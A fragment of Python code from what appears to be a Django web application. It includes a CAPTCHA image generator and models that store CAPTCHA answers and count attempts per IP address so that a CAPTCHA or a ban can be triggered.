draw.text((offset * 15 + 5, 0), str(number), font=font, fill=color)
offset += 1
buffered = BytesIO()
image.save(buffered, format="PNG")
img_str = base64.b64encode(buffered.getvalue()).decode()
return "data:image/png;base64," + img_str, self.random_number
if __name__ == "__main__":
i, n = Captcha().get()
print(i, n)
from django.db import models
class CaptchaStore(models.Model):
uuid = models.CharField(max_length=30)
data = models.CharField(max_length=4)
class IPStore(models.Model):
ip = models.CharField(max_length=32)
try_num = models.IntegerField(default=0)
def add_visit_num(self):
self.try_num += 1
self.save(update_fields=["try_num"])
def need_captcha(self):
return self.try_num > 3
def need_ban(self):
return self.try_num > 50